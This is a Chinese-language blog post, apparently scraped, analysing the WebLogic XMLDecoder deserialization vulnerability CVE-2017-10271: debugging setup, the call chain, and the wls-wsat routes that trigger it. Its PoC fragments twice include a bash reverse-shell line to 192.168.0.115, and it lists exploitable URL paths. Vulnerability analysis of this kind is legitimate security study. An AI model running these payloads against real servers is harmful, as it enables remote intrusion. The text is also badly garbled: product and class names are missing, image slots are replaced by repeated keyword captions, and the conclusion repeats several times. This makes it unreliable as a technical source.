序列化和反序列化漏洞/web反序列化漏洞原理-0基础攻防教学

序列化和反序列化漏洞/web反序列化漏洞原理-0基础攻防教学

跟进近几年漏洞分析与利用技术,进一步填补自己在Java分析技术方面的空白,本文分析近几年爆出的经典漏洞,以及调试环境。

0x01 介绍

是一种web服务器,在很多中小型项目中广泛使用,和一样是一种web容器,是一个基于j2ee架构的中间件。BEA 是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。近年来不断爆出了各种反序列化漏洞及补丁绕过漏洞,我也对最近的漏洞进行分析和利用。

0x1 漏洞概述

CVE-2017-3506/ CVE-2017-10271/CVE-2019-2725/CVE-2019-2729是同一个漏洞的一系列绕过(这几个漏洞的触发过程完全一样,以为本文主要介绍触发链所以任选其一),本篇主要介绍CVE-2017-10271的漏洞触发过程,反序列化部分及漏洞补丁绕过方法在其他文章中单独分析。

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

0x2 分析内容

重点分析解决在漏洞调试过中的难点

序列化和反序列化漏洞_web反序列化漏洞原理_weblogic反序列化漏洞

一般分析的博客没有介绍 /机制,本篇通过路由分析调用机制,寻找漏洞点,完成漏洞利用链。

0x02 漏洞环境搭建

为了方便各种漏洞调试工作,分两种情况搭建调试环境,本地和远程。分别描述这两种的搭建细节及注意点。利用容器搭建

你应该会玩: 点击链接去玩吧

weblogic反序列化漏洞_web反序列化漏洞原理_序列化和反序列化漏洞

0x1 本地调试环境

在本地安装并调试服务

Step 1 安装

去官网下载相对应版本的

序列化和反序列化漏洞_web反序列化漏洞原理_weblogic反序列化漏洞

Step 2 配置项目信息

序列化和反序列化漏洞_web反序列化漏洞原理_weblogic反序列化漏洞

添加服务,把安装好的目录放在 那一栏,并且输入安装时设定的用户名和密码。点击确定

Step 3 运行项目

web反序列化漏洞原理_序列化和反序列化漏洞_weblogic反序列化漏洞

点击运行按钮运行项目,成功后会出现上述页面。

0x2 远程调试环境

以虚拟环境为基础调试环境,利用客户端调试器连接部署在容器上的服务。

Step 1 打开远程调试

vi /root//bin/.sh

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

重启容器

Step 2 下载项目代码

远程调试同样也需要代码而且最好和服务器上的代码相同,我们从容器中将项目代码拷贝出来

cp :/root///.3 ./

同时将相同目录下目录拷出

Step 3 配置idea调试器

打开右上角 Edit

weblogic反序列化漏洞_序列化和反序列化漏洞_web反序列化漏洞原理

Step 4 添加库

若想调试jar或war包中的内容需要把对应的jar包添加到中,右键相对应的模块代码出现下图,点击添加即可。

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

添加库后的jar包和war包可以看其中反编译后的代码

web反序列化漏洞原理_序列化和反序列化漏洞_weblogic反序列化漏洞

0x03 漏洞调试分析

学习了网上好几篇分析文档,没有说明从一开始的web请求到漏洞触发的全过程,一般只分析了后面从开始部分,而对前面寻找的过程没有分析,为了更好的了解漏洞是怎么形成的,先从CVE-2017-10271开始分析,一步步寻找函数调用链,为心中的问题答疑解惑。

0x1 测试poc

利用网上公开的poc测试服务

/bin/bash

-c

bash -i >& /dev/tcp/192.168.0.115/31 0>&1

weblogic反序列化漏洞_web反序列化漏洞原理_序列化和反序列化漏洞

通过观察调用栈可以轻松的下断点进行调试。

0x2 漏洞初步调试

第二步利用poc的调用栈将断点下在比较深的位置的函数,并根据poc跟踪触发过程。

weblogic反序列化漏洞_web反序列化漏洞原理_序列化和反序列化漏洞

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

参数var1是post请求内容,利用this.读取post中的主题部分,继续往下跟进。

weblogic反序列化漏洞_序列化和反序列化漏洞_web反序列化漏洞原理

最后在这里触发反序列化,将xml中的内容解析成了对象,并执行其中的恶意代码。

下面的调用代码比较短小,放在一起查看调用链。这个点很关键eptor的方法,这是不同调用漏洞点的最小单元,换个说法一旦有调用这个类的方法就有可能触发漏洞。

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

序列化和反序列化漏洞_web反序列化漏洞原理_weblogic反序列化漏洞

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

最后在这里触发反序列化,将xml中的内容解析成了对象,并执行其中的恶意代码。

最后在这里触发反序列化,将xml中的内容解析成了对象,并执行其中的恶意代码。

0x3 调试中思考的问题

样的

漏洞产生的原因及位置

网上绝大部分文章说漏洞产生的原因是的WLS 组件产生了问题,存在问题的组件有wls-wsat.war和nse.war。这么说来漏洞位置在组件中了?并不是想象中的那样,具体来说漏洞产生在组件的路由中。我们先看一下其中的一个组件

web反序列化漏洞原理_序列化和反序列化漏洞_weblogic反序列化漏洞

标准的web.xml url与对应关系,打开其中一个-class我们可以看到使用了 解析soap请求并且绑定了处理协议的路由。

序列化和反序列化漏洞_web反序列化漏洞原理_weblogic反序列化漏洞

所以就可以这么说,漏洞并不在组件中,而在于请求处理中,所以只要能出发该并带有poc代码就可以触发漏洞,这个结论才是对的。还记得在上个小节中的关键类eptor的方法吗?我们找到了其他的触发路由都调用了该方法进行处理soap内容

/wls-wsat/RPC

/wls-wsat/

/wls-wsat/

/wls-wsat/

/wls-wsat/1

/wls-wsat/RPC11

/wls-wsat/1

/wls-wsat/

//Jms

//

//Https

那么从项目中发现了大量可以触发漏洞的路由。属于nse.war中的路由,触发代码也和wls不同,poc如下

xx

xx

bash

-c

bash -i >& /dev/tcp/192.168.0.115/31 0>&1

将两个的调用栈放在一起对比可以看出一个关键的函数

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

由以上可以看出漏洞出现在解析xml的函数上,触发在路由上,所以找到使用eptor的就可以触发漏洞。

url对应的路由问题

在调试的时候心中有个问题,url和/是怎么对应上的。理解这个问题先要看*是怎么出来的。

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

因为这一块不是分析重点所以简化描述过程,在的方法有个根据url寻找,首先会在中寻找一遍,找到之后就把值给var4,接着传递给var5,就会完成一次查找

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

将url按照/进行分批查找,例如/wls-wsat/RPC,会首先查找wls-wsat这个war包,然后第二次匹配包中的RPC类,如下图所示

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

weblogic反序列化漏洞_序列化和反序列化漏洞_web反序列化漏洞原理

weblogic反序列化漏洞_序列化和反序列化漏洞_web反序列化漏洞原理

weblogic反序列化漏洞_序列化和反序列化漏洞_web反序列化漏洞原理

是的子类,在子类调用自身不存在的方法时就会从父类中寻找并调用。

完整触发过程是怎么样的

完整的触发过程自然的分为两步,生成和调用,通过.中的线程生成对应的,如下表

url

//Https

/wls-wsat/

接着会把函数栈清空,然后调用.work线程执行,从而触发在中解析soap请求的.函数。具体过程如下图:

web反序列化漏洞原理_weblogic反序列化漏洞_序列化和反序列化漏洞

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

web反序列化漏洞原理_序列化和反序列化漏洞_weblogic反序列化漏洞

0x04 总结

通过此次漏洞调试掌握了以下内容

1.框架调试以及 Idea调试技巧

2. 初步分析

3.输入数据流追踪技术&漏洞触发过程分析

还有接下来要做的事情

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

据流追踪技术&漏洞触发过程分析

还有接下来要做的事情

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

&漏洞触发过程分析

还有接下来要做的事情

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

还有接下来要做的事情

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

据流追踪技术&漏洞触发过程分析

还有接下来要做的事情

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

&漏洞触发过程分析

还有接下来要做的事情

序列化和反序列化漏洞_weblogic反序列化漏洞_web反序列化漏洞原理

漏洞触发链分析 - 合天网安实验室

~

网络安全学习,我们一起交流

~

  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值